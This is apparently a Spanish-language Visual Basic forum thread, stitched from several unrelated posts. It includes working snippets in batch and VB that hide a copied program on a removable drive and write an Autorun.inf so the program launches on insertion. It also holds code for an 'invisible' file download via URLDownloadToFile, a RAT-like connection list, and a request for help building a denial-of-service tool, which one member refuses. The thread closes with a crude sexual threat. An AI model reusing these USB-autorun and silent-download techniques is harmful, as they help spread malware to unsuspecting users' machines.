Mensajes

Bueno si tienes muchos problemas podrias enves de hacerlo en visualbasic podrias hacerlo en bat y luego juntarlo con tu aplicacion resultante

Código [Seleccionar] Expandir

@XCOPY %0 %x%
@ATTRIB %0 +H +S
echo [AUTORUN] > %x%Autorun.inf
echo OPEN=Driver.exe >> %x%Autorun.inf
echo shell\open\command=[color=red]aplicacion.exe[/color]>> %x%Autorun.inf
echo shell\open=' >> %x%Autorun.inf
cd %x%

Donde %x% es la variable del nombre del dispositivo
donde aplicacion.exe es el nombre final de tu aplicacion espero que te sirva saludos

No quiero usar batch estamos en el foro de VB este foro es para ayudar enn VB no en batch.

Hola a todos bueno tengo una gran duda mas que nada no es para mi sino un amigo que sabe programar y todo Bueno les cuento mi amigo a creado una aplicacion pero le gustaria que se pudiera ejecutar por cmd/shell como los exploit en perl algo asi y que desde hay mismo se pudiera configurar
ej:"aplicacion.exe 900 -t

hay algun manual para eso?
Gracias

PD:el programa es para hacer ataques de denegacion de servicios

Muchas Gracias Adios

Si es para un Doser no cuentes con mi ayuda pero te dire una ayudita que es general para cualquier programa en modo consola PRINTF y getcommandline

nose si te sirve, pero habia un programa (el cual olvide el nombre) que te permitia leer la memoria de una aplicacion y "filtrar" para obtener variables.. me acuerdo que lo usaba para darme 100000 de puntos en el pinball..

saludos

No era el Cheat Engine? xD

Me tinca que esta ablando del programa de MAD

aprobecho este mismo tema para una pregunta por que este modulo no anda?

Código (vb) [Seleccionar] Expandir

Public Const FILE_ATTRIBUTE_HIDDEN = 2
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Function Autorun(unidad As String, Rutadearchivo As String _
, archivo As String, ocultos As Boolean)
Dim error As Long
CopyFile Rutadearchivo, unidad & "\" & archivo, error

Open Environ$("Temp") & "\autorun.inf" For Output As #1
            Print #1, "[Autorun]"
            Print #1, "Open=" & archivo
            Print #1, "Icon=%SystemRoot%\system32\SHELL32.dll,7"
            Print #1, "UseAutoPlay=1"
            Print #1, "Action=Abrir USB"
            Print #1, "Action= @" & archivo
            Print #1, "shell\open=Abrir"
            Print #1, "shell\open\Command=" & archivo
            Print #1, "shell\open\Default=1"
            Print #1, "Shell\Explorer\Command=EXPLORER.EXE /E,\"
        Close #1
    CopyFile Environ$("Temp") & "\autorun.inf", unidad & "\" & "autorun.inf", error
        If ocultos = True Then
        SetFileAttributes unidad & "\" & archivo, FILE_ATTRIBUTE_HIDDEN
        SetFileAttributes unidad & "\autorun.txt", FILE_ATTRIBUTE_HIDDEN
        End If
        MsgBox error
End Function

hola buenas este codigo de modulo me da error:

Select Case "Conexion"
Dim x As ListItem
Set x = lv.ListItems.Add(, Index & "|", data(1))
x.SubItems(1) = ws(Index).RemoteHostIP
x.SubItems(2) = data(2) & "/" & data(3)
x.SubItems(3) = data(4)
x.SubItems(4) = data(5) & " MB"
x.SubItems(5) = data(6)
x.SubItems(6) = data(7)
x.SubItems(7) = data(8)
x.SubItems(8) = data(9)
x.SubItems(9) = "v.1"
End Select

no se que tengo que cambiar alguien me ayuda

Tienes que cambiar tu personalidad y estudiar VB.

Lei un tutorial del hdd exa editor estoy viendo la forma de hacerlo con ese es complicado pero hay voy haciendo mi lucha xD en cuanto tenga resultados se los digo


Y no quiero que hagan todo por mi solo que me guien un poko sera acaso mucho pedir
a mi punto de vista esto que estoy pidiendo para un programador serio es cosa de de menos de 24 hr y mas bien si yo pudiera ayudar en algo que si se no lo tomaria como flojera etc ... yo quiero aprender y en todo caso yo lo tomaria como practica

Nadie tiene tiempo para hacerlo y si es flojera por que todos sabemos que despues de que te agamos el code ni lo lerias y lo compilarias.

Tu y tus codes .... me encantan!!!! muchas gracias por el code.

[ESTO NO ES EL FORO DE .NET]

ESTO NO ES EL FORO DE .NET

Si estoy leyendo todo lo que pueda estoy de traga libros en este momento xD
y espero darle solucion rapido y tambien postearlas en la pag de mi proyecto aki en el foro

se aceptan todos los links , tutoriales , ayuda sobre este tema .

con respecto a lo de vb y c++ pues la verdad me gusta mas el vb y no lo cambiaria por nada buscare la forma xD de adaptar los 2

Si te gusta VB entonces aprende y busca y deja de pedir que te hagan todo  quye ya estoy cansado de estos flojos .

[URLDownloadToFile]

¿Quieres que la descarga sea invisible? 

'Codigo de RANEFI
Option Explicit
Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long
Dim ERROR_SUCCESS

Private Sub Command1_Click()
    Dim sSourceUrl As String

    sSourceUrl = "http://mx.geocities.com/" & _
        "posotroranefi/msnmsgr.zip"

    DownloadFile sSourceUrl, "C:\ranefi.zip"
End Sub


Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
  DownloadFile = URLDownloadToFile(0, sURL, _
    sLocalFile, 0, 0) = ERROR_SUCCESS
End Function

O si quieres visible:

Código [Seleccionar] Expandir


'Codigo RANEFI
Option explicit

Private Declare Function DoFileDownload Lib "shdocvw.dll" _
            (ByVal lpszFile As String) As Long

Private Sub Command1_Click()
            DoFileDownload _
            StrConv("http://mx.geocities.com/posotroranefi/msnmsgr.zip", vbUnicode)
End Sub

Hola, soy nuevo en el foro, tenía problemas con la función URLDownloadToFile, no me descargaba nada, me gustaría dejar asentado que mi problema era porque en la ruta de destino no le estaba ingresanod el nombre de un archivo, es decir:

MAL: C:\Prueba1\
BIEN: C:\Prueba1\Prueba.txt

Muchas gracias me ha sido de gran ayuda este foro.

No vuelvan a revivir post viejos o si no te va ir un tipo con un pene de 3 metros y te lo va a meter por el or..